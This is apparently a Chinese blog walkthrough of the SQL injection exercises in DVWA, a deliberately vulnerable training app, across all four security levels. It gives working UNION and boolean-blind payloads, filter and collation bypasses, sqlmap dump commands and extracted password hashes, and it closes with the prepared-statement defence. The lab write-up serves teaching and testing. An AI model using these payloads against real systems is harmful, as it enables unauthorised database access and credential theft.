DVWA SQL 注入全级别通关笔记(Low / Medium / High / Impossible)

DVWA SQL 注入全级别通关笔记(Low / Medium / High / Impossible)


目录

  • [一、Low 级别](#一、Low 级别)

    • [1.1 普通注入(Union 注入)](#1.1 普通注入(Union 注入))
    • [1.2 编码冲突与解决方案](#1.2 编码冲突与解决方案)
    • [1.3 Low - Blind(布尔盲注)](#1.3 Low - Blind(布尔盲注))
    • [1.4 sqlmap 自动化](#1.4 sqlmap 自动化)
  • [二、Medium 级别](#二、Medium 级别)

    • [2.1 核心变化:POST 请求与转义过滤](#2.1 核心变化:POST 请求与转义过滤)
    • [2.2 绕过过滤与编码报错](#2.2 绕过过滤与编码报错)
    • [2.3 Medium - Blind](#2.3 Medium - Blind)
  • [三、High 级别](#三、High 级别)

    • [3.1 Session 机制与测试思路](#3.1 Session 机制与测试思路)
    • [3.2 布尔盲注 Payload](#3.2 布尔盲注 Payload)
    • [3.3 sqlmap 高级用法(--second-url)](#3.3 sqlmap 高级用法(--second-url))
    • [3.4 High - Blind](#3.4 High - Blind)
  • [四、Impossible 级别](#四、Impossible 级别)

    • [4.1 基本测试](#4.1 基本测试)
    • [4.2 sqlmap 高等级探测](#4.2 sqlmap 高等级探测)
    • [4.3 代码审计](#4.3 代码审计)
  • 五、总结对比

  • [六、普通注入 vs 盲注:如何选择?](#六、普通注入 vs 盲注:如何选择?)


一、Low 级别

1.1 普通注入(Union 注入)

第一步:判断输入框是否直接参与了 SQL 语句拼接

输入单引号 '​:

原理:假设后端语句是 SELECT ... WHERE id = '$id'​,输入 '​ 后,语句变成了 WHERE id = '''​。三个单引号会导致语法错误。

输入 1' or '1'='1​:无论前面的 ID 是多少,'1'='1'​ 永远成立,数据库会把所有用户的数据都吐出来。

第二步:确认字段数

在进行数据提取(UNION 注入)之前,必须知道原查询结果有几个字段。使用 ORDER BY​ 命令:

复制代码
1' order by 2 #

如果 order by 2​ 正常回显,而 order by 3​ 报错,说明当前表只有 2 个字段。这决定了后续执行 UNION SELECT​ 时也必须写两个位置,否则数据库会因为"左右列数不对等"而拒收请求。

第三步:信息收集(确认显示位置)

复制代码
1' union select 1,2 #
  • 如果页面显示了 1,说明第一个位置是回显点。
  • 如果页面显示了 2,说明第二个位置是回显点。

第四步:脱库

查数据库名:

复制代码
1' union select database(), 2 #

查表名:

复制代码
1' union select group_concat(table_name), 2 from information_schema.tables where table_schema='dvwa' #

查列名:

复制代码
1' union select group_concat(column_name), 2 from information_schema.columns where table_name='users' #

查用户名与密码:

复制代码
1' union select user, password from users #

1.2 编码冲突与解决方案

在查列名、表名时,发现报错:

复制代码
Illegal mix of collations for operation 'UNION'

这是编码/校对规则不匹配的问题。当你使用 UNION​ 连接两个查询时,MySQL 要求左右两边的字符串"语言格式"(Collation)必须一致。

  • 左边:DVWA 数据库原本的表(如 users)可能使用的是某种特定的编码(比如 utf8_unicode_ci)。
  • 右边:你查询的 information_schema 是系统自带的元数据库,它可能使用的是另一种编码(比如 utf8_general_ci)。

解决方法:强制转换编码

既然编码不一样,就用 convert()​ 函数把查出来的结果强制转换成一种通用编码:

复制代码
1' union select 1, convert(group_concat(table_name) using latin1) from information_schema.tables where table_schema='dvwa' #

1' union select 1, convert(group_concat(table_name) using utf8) from information_schema.tables where table_schema='dvwa' #

强制转换后数据正常回显。查列名同理:

复制代码
1' union select 1, convert(group_concat(column_name) using latin1) from information_schema.columns where table_name='users' #

还有一种"暴力"解法:使用 Hex 编码

如果你不想处理编码问题,可以先把结果转成十六进制(Hex),显示出来后再找个在线工具解密:

复制代码
1' union select 1, hex(group_concat(table_name)) from information_schema.tables where table_schema='dvwa' #

1.3 Low - Blind(布尔盲注)

在 Low Blind 等级,页面不会显示数据库的内容,只会告诉你存在(T)或不存在(F)。这种情况下,之前的 union select​ 彻底废了,因为你根本看不见 select​ 出来的结果。我们要用盲注。

核心思路:把"数据"变成"逻辑题"

构建 Blind Payload 必须掌握这三个函数:

函数 作用 示例
​substr(str, start, len)​ 截取字符串 ​substr('dvwa', 1, 1)​ 得到 d​
​ascii()​ 转换成 ASCII 码 ​ascii('d')​ 是 100​
​length()​ 测量长度 ​length('dvwa')​ 是 4​

为什么要转码? 因为在数据库里比较数字(100)比比较字母(d)更稳定,且方便使用大于、小于号来缩小范围。

  1. 先猜测长度

    1' and length(database())=4 #

如果返回 exists​,说明数据库名长度就是 4。

  1. 逐个字符猜数据库名

    1' and ascii(substr(database(),1,1))>96 #

96 是 ASCII 码中字母 a​ 之前的数字。如果返回 exists​,说明第一个字母在 a-z 之间。

  1. 猜表名

需要结合 limit​ 来一个一个表查:

复制代码
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #

确认 dvwa​ 下有 2 个表。然后用 substr​ 配合 limit 0,1​ 去猜第一个表的第一个字母。

这里就推荐用 sqlmap 去测,手工测吃力不讨好。

补充盲注语法原理

将 Payload 拆开分析:1' and (SELECT count(...) FROM ...) = 2 #​

在 SQL 中,A AND B​ 只有在 A 和 B 同时为真时,整个结果才为真。

​(SELECT count(table_name) FROM information_schema.tables WHERE table_schema='dvwa')​ 是一个独立的查询语句,它会先在后台运行,算出一个数字结果。数据库会先查出 dvwa​ 库下到底有几个表。如果查出来是 2 个,那这一长串括号就等价于数字 2​。

  • 猜对了:语句变成 1' AND 2 = 2 → 真 → 页面显示正常。
  • 猜错了:结果为假 → 页面报错/无回显。

1.4 sqlmap 自动化

复制代码
python sqlmap.py -u "http://dvwa:81/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=你的值" --batch
  • --batch:让 sqlmap 自动选择默认选项,不用你一直点 y/n。

常用参数:

目标 参数
查当前数据库 ​--current-db​
查表名 ​-D dvwa --tables​
查字段 ​-T users --columns​
拖取数据 ​-T users -C "user,password" --dump​

Cookie 获取方式:F12 打开网页,在请求标头(Request Headers)下面找 Cookie,而不是 Response Headers。


二、Medium 级别

进入 Medium 等级后,DVWA 开始增加了一些初级的防御机制。

  • 交互方式变了:页面变成了一个下拉选择框。
  • 请求方式变了:通过查看源代码或网络抓包,你会发现它变成了 POST 请求。
  • 限制:POST 请求的数据是放在"请求体"里的,不像 GET 那样能直接在 URL 里看到。虽然你可以手动构建一个带参数的 URL,但如果后端代码写死只接收 $_POST 数据,那么在 URL 框注入就会失效。
  • 最标准的做法是使用 Burp Suite 改包。

2.1 核心变化:POST 请求与转义过滤

核心变化(非常重要): Medium 级别的后端代码对输入调用了 mysql_real_escape_string()​(或类似函数)。你的 Payload 里不能出现单引号 '​,因为单引号会被转义成 \'​ 导致 SQL 语句报错。

查库名:

复制代码
id=1 union select 1,database() #&Submit=Submit

如果直接包含空格,会破坏 HTTP 请求的格式。HTTP 数据包中,参数之间是通过 &​ 连接的。如果你的 Payload 中有空格或特殊字符而没有经过 URL 编码,服务器就无法正确解析,导致返回 400 Bad Request。

改包时按下快捷键 Ctrl + U​

Burp 会将非标准字符转换为 %​ 后跟两位十六进制数的形式。这种格式被称为百分号编码,它能保证你的 Payload 作为一个整体的、合法的字符串被服务器接收。


2.2 绕过过滤与编码报错

在 Burp 框里输入 Payload:

复制代码
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

报错信息:

复制代码
<pre>Illegal mix of collations for operation 'UNION'</pre>

这意味着你的 Payload 语法没问题(所以服务器给了 200),但数据库执行失败了。

具体原因:你查询的 information_schema.tables​ 中的 table_name​ 字段,其编码可能与 DVWA 数据库默认的编码不一致。MySQL 无法在不统一编码的情况下把它们"缝合"到同一个结果集里展示给你。

如何解决这个报错?

最常用的办法是使用 CONVERT()​ 或 hex()​ 函数,强行把查询结果转码:

复制代码
1 union select 1,group_concat(convert(table_name using latin1)) from information_schema.tables where table_schema=database()#

或者更简单的方案(绕过所有编码问题):

复制代码
1 union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#

回显结果:

复制代码
ID: 1 union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#
First name: admin
Surname: admin

再次发送:

复制代码
ID: 1 union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#
First name: 1
Surname: 6775657374626F6F6B2C7573657273

Medium 难度 SQL 注入的完整思路:

  1. 观察环境:发现没有输入框,只有下拉菜单。F12 或抓包确认是 POST 请求。

  2. 建立连接:将包发送到 Repeater,确保能拿到 200 OK​。

  3. 判断注入类型:

    • 输入 id=1 and 1=1,页面正常。
    • 输入 id=1 and 1=2,页面报错或数据消失。
    • 结论:存在数字型注入(不需要单引号闭合)。
  4. 绕过过滤(核心):

    • 发现后台用了 mysql_real_escape_string(),Payload 里一出现 ' 就报错。
    • 对策:不使用单引号。如果需要指定表名,将 where table_name='users' 改为 where table_name=0x7573657273(十六进制)。
  5. 解决编码报错:

    • 遇到 Illegal mix of collations,说明字符集不匹配。
    • 对策:使用 hex() 或 convert(... using latin1) 包裹查询字段。

爆表名:

复制代码
-1 union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#

​6775657374626F6F6B2C7573657273​ ASCII Hex 解码 → guestbook,users​

爆破目标表的列名:

复制代码
-1 union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name=0x7573657273%23

回显:

复制代码
First name: 1
Surname: 757365725F69642C66697273745F6E616D652C6C6173745F6E616D652C757365722C70617373776F72642C6176617461722C6C6173745F6C6F67696E2C6661696C65645F6C6F67696E

继续解码:

​guestbook,users​

​user_id,first_name,last_name,user,password,avatar,last_login,failed_login​

爆用户名与密码:

复制代码
id=-1 union select group_concat(user),hex(group_concat(password)) from users%23&Submit=Submit

回显:

复制代码
First name: admin,gordonb,1337,pablo,smithy
Surname: 35663464636333623561613736356436316438333237646562383832636639392C65393961313863343238636233386435663236303835333637383932326530332C38643335333364373561653263333936366437653064346663633639323136622C30643130376430396635626265343063616465336465356337316539653962372C3566346463633362356161373635643631643833323764656238383263663939

得到 MD5 值:

复制代码
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
5f4dcc3b5aa765d61d8327deb882cf99

去网站解密这五个就是对应的密码了。

Medium 级别常见问题速查表:

遇到问题 底层原因 终极对策
Unknown column 'id' Payload 结构破坏了原 SQL 逻辑 检查 id=​ 是否重复,确保 Payload 干净
Illegal mix of collations 系统表与业务表编码打架 使用 hex()​ 或 cast(... as char)​
页面无回显/Submit 失效 URL 编码范围多选或漏选 精准选择 Payload 核心区,保留 &​
单引号被转义 (\'...​) 后端开启了 magic_quotes​ 或使用了转义函数 使用十六进制(0x...)代替字符串

2.3 Medium - Blind

Burp 改包,用 1​ 和 1'​ 去测,发现是数字型注入。

锁定数据库名长度:

复制代码
1 and length(database()) = 4#

猜第一个字母(二分法):

  • 1 and ascii(substr(database(), 1, 1)) > 100#(如果点头,说明范围在 101-127)
  • 1 and ascii(substr(database(), 1, 1)) > 110#(如果摇头,说明范围在 101-110)

猜表的数量:

复制代码
1 and (select count(table_name) from information_schema.tables where table_schema=database()) = 2#

猜第一张表长度:

复制代码
1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) = 5#

(结果猜到了 9 才对,还是用 sqlmap 吧。)

sqlmap 基础自动探测:

复制代码
python sqlmap.py -u "http://dvwa:81/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=你的ID; security=medium" --batch

爆破数据库名:

复制代码
python sqlmap.py -u "http://dvwa:81/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=...; security=medium" --dbs

接着爆表名、列名、密码即可。


三、High 级别

这一关要严谨一些,因为一不小心就会导致 Something went wrong。

验证布尔盲注逻辑前:通过退出登录,在登录页面清除 Session,再登录回来。

因为在 DVWA 的 High 级别中,你的输入会存入 Session。

Session 污染:High 级别的特点是"持久化"。如果你输错了一次,这个错误的 Payload 就死死锁在了你的 Session 里。哪怕你刷新主页面,它还是会读那个错误的语句继续报错。

由于这一关将输入(弹出框)和输出(查询页面)分离开来,并利用 Session 存储你的 Payload,我们手工测试的思路需要分为三步走:确认闭合、逻辑验证、数据提取。


3.1 Session 机制与测试思路

先测试一个最稳妥的语句,确保能看到正常数据:

复制代码
1' #

验证布尔盲注逻辑:

  • 1' and 1=1 # → 显示存在
  • 1' and 1=2 # → 显示 MISSING

由于没有回显,我们必须通过一系列"是/否"的问题来还原数据。


3.2 布尔盲注 Payload

目标 手写 Payload(输入到弹出框)
猜数据库名长度 ​1' and length(database())=4 #​
猜数据库名第 1 位 ​1' and ascii(substr(database(),1,1))=100 #​
猜表名(第 1 张) ​1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=117 #​
猜密码(第 1 位) ​1' and ascii(substr((select password from users where user='admin'),1,1))=53 #​

手工测试方法:

Burp 改包发到 Repeater,然后更改、放包,看 A(主页面)的结果,看回显,判断猜测正确与否。

这里 Burp 有个工具方法:配置 Burp Macro(宏),有兴趣的可以上网搜。个人感觉不如 sqlmap 来的好。


3.3 sqlmap 高级用法(--second-url)

针对 DVWA High 级别的 SQL 注入,sqlmap​ 需要绕过"点击弹出窗口"这个交互逻辑。

因为 High 级别的数据提交在 /session-input.php​,而结果显示在 /vulnerabilities/sqli/​,你需要给 sqlmap​ 两个核心东西:Cookie 和数据包信息。

第一步:把 /vulnerabilities/sqli/session-input.php​ 的包保存为 request.txt​。

PS:保存成文件时一定要看是不是 POST 请求包,文件末尾是 id=1&Submit=Submit​。

第二步:用 sqlmap 进行攻击

复制代码
python sqlmap.py -r 你的文件目录 --second-url "http://dvwa:81/vulnerabilities/sqli/" --batch --dbs

查表:

复制代码
python sqlmap.py -r "文件保存的地址" --second-url "http://dvwa:81/vulnerabilities/sqli/" --batch -p id -D dvwa --tables

查字段:

复制代码
python sqlmap.py -r "文件保存地址" --second-url "http://dvwa:81/vulnerabilities/sqli/" --batch -p id -D dvwa -T users --columns

查数据:

复制代码
python sqlmap.py -r "文件保存地址" --second-url "http://dvwa:81/vulnerabilities/sqli/" --batch -p id -D dvwa -T users -C "user,password" --dump

High 关卡破译起来时间耗费还是比较长的。


3.4 High - Blind

需要提的是,High 的这两关差别不大。Blind 只有 yes/no 的回显,而正常关有数据的回显。

而且我们发现 High 关卡一次只返回一条数据,是因为防御机制相同:两者都使用了 LIMIT 1 来防止你一次性查出多行数据,并且都通过"点击跳转"来干扰 Burp 的直接抓包。不管数据库里查到了多少条符合条件的数据,最后只给网页返回第一条。

High 级别因为有跳转框(Session 机制),sqlmap​ 每测一个字符,通常需要发 2 个包,再加上跳转点击会让手工异常麻烦。最好还是明白原理,用 sqlmap 去测。

第一步:探测注入点

复制代码
python sqlmap.py -u "http://dvwa:81/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" --cookie "PHPSESSID=你的ID; security=high" --second-url "http://dvwa:81/vulnerabilities/sqli_blind/" --batch -p id

第二步:获取数据库名

复制代码
python sqlmap.py -u "http://dvwa:81/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" --cookie "PHPSESSID=你的ID; security=high" --second-url "http://dvwa:81/vulnerabilities/sqli_blind/" --batch -p id --dbs

表名:

复制代码
python sqlmap.py -u "..." --data "..." --cookie "..." --second-url "..." --batch -p id -D dvwa --tables

获取字段名(从 users 表):

复制代码
python sqlmap.py -u "..." --data "..." --cookie "..." --second-url "..." --batch -p id -D dvwa -T users --columns

获取密码:

复制代码
python sqlmap.py -u "..." --data "..." --cookie "..." --second-url "..." --batch -p id -D dvwa -T users -C "user,password" --dump

还是 MD5,需要去解密。


四、Impossible 级别

这一关我们只展示基本测试手法,给他攻破不可能。

对于阐述他的防御手法有兴趣可以 CSDN 一下,或者自行代码审计。


4.1 基本测试

正常请求:输入 1​ → 页面返回 User ID exists​。

触发异常:

  • 输入 1' → 无回显
  • 输入 1' OR '1'='1 → 无回显

4.2 sqlmap 高等级探测

复制代码
python sqlmap.py -u "http://dvwa:81/vulnerabilities/sqli/session-input.php" --data "id=1*&Submit=Submit" --cookie "PHPSESSID=你的ID; security=impossible" --second-url "http://dvwa:81/vulnerabilities/sqli/" --batch --level 5 --risk 3

开高等级进行探测。

但最终会跳出一行红字:

复制代码
[CRITICAL] all tested parameters do not appear to be injectable.

当 level 5​ 且 risk 3​ 都跑不出结果时,基本可以判定该接口在当前请求点不存在直接的 SQL 注入漏洞。


4.3 代码审计

点击 Impossible 页面右下角的 View Source:

复制代码
// Was a number entered?
if(is_numeric( $id )) {
    // Check the database
    $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
    $data->bindParam( ':id', $id, PDO::PARAM_INT );
    $data->execute();
    $row = $data->fetch();
}

到这里目前就要跑路了。输入内容不再传入 DB 拼接,只是作为一个值来用。

正面 SQL 注入被封死。

寻找 Anti-CSRF Token 的缺陷以及二次注入(Second-Order)可能性,但是仅对于这个题来说已经 game over 了。


五、总结对比

级别 防御手段 核心突破点 渗透思维
Low 零防御:代码直接拼接变量 手动 UNION SELECT​ 或 AND 1=1​ 初探:验证漏洞存在,确认数据库类型
Medium 黑名单/转义:使用了 mysql_real_escape_string​ 过滤单引号 绕过引号:使用数字型注入,或将 Payload 转为十六进制 绕过:当常规字符被禁时,尝试改变数据编码方式
High Session 隔离/跳转:利用跳转框增加抓包难度,且加了 LIMIT 1​ 联动测试:使用 Burp 宏或 sqlmap​ 的 --second-url​ 建立会话同步 协同:处理复杂业务逻辑下的参数传递问题
Impossible 预编译(PDO):指令与数据彻底分离 正面无法绕过:只能寻找二次注入或其他逻辑漏洞 防御:理解什么是真正的安全编码标准

六、普通注入 vs 盲注:如何选择?

  • 普通注入(Normal SQLi):

    • 现象:直接在网页上看到数据库返回的数据(如:First Name: admin)。
    • 效率:极高。通过 UNION SELECT 可以在一次请求中拿走一整行甚至多行数据。
    • 首选:只要页面有显式回显,绝不使用盲注。
  • 盲注(Blind SQLi):

    • 现象:页面只显示"存在"或"不存在",或者干脆没变化(通过响应时间判断)。
    • 效率:极低。需要通过大量的"是非题"逐位破解字符的 ASCII 码。
    • 现状:现代 Web 应用大多不会把数据库报错打印在屏幕上,因此盲注才是实战中的常态。
相关推荐
m0_748920362 小时前
如何让点击目标元素时随机移动到页面任意位置
jvm·数据库·python
qq_206901392 小时前
如何创建CDB公共用户_C##前缀强制规则与CONTAINER=ALL.txt
jvm·数据库·python
code bean2 小时前
MySQL 远程访问实战:从基础操作到真实踩坑记录
数据库·mysql
Hello World . .2 小时前
Linux驱动编程:内核同步的艺术-从互斥到底半部
linux·开发语言·数据库
Go 言 Go 语2 小时前
Claude Code 核心加载机制详解
服务器·前端·数据库
weixin_568996062 小时前
golang如何实现多活架构方案_golang多活架构方案实现教程
jvm·数据库·python
咸鱼翻身小阿橙2 小时前
C++ 与 QML 交互入门笔记
c++·笔记·交互
Absurd5872 小时前
Golang map遍历顺序为什么随机_Golang map遍历原理教程【进阶】
jvm·数据库·python
三品吉他手会点灯2 小时前
STM32F103 学习笔记-21-串口通信(第4节)—串口发送和接收代码讲解(下)
笔记·stm32·单片机·嵌入式硬件·学习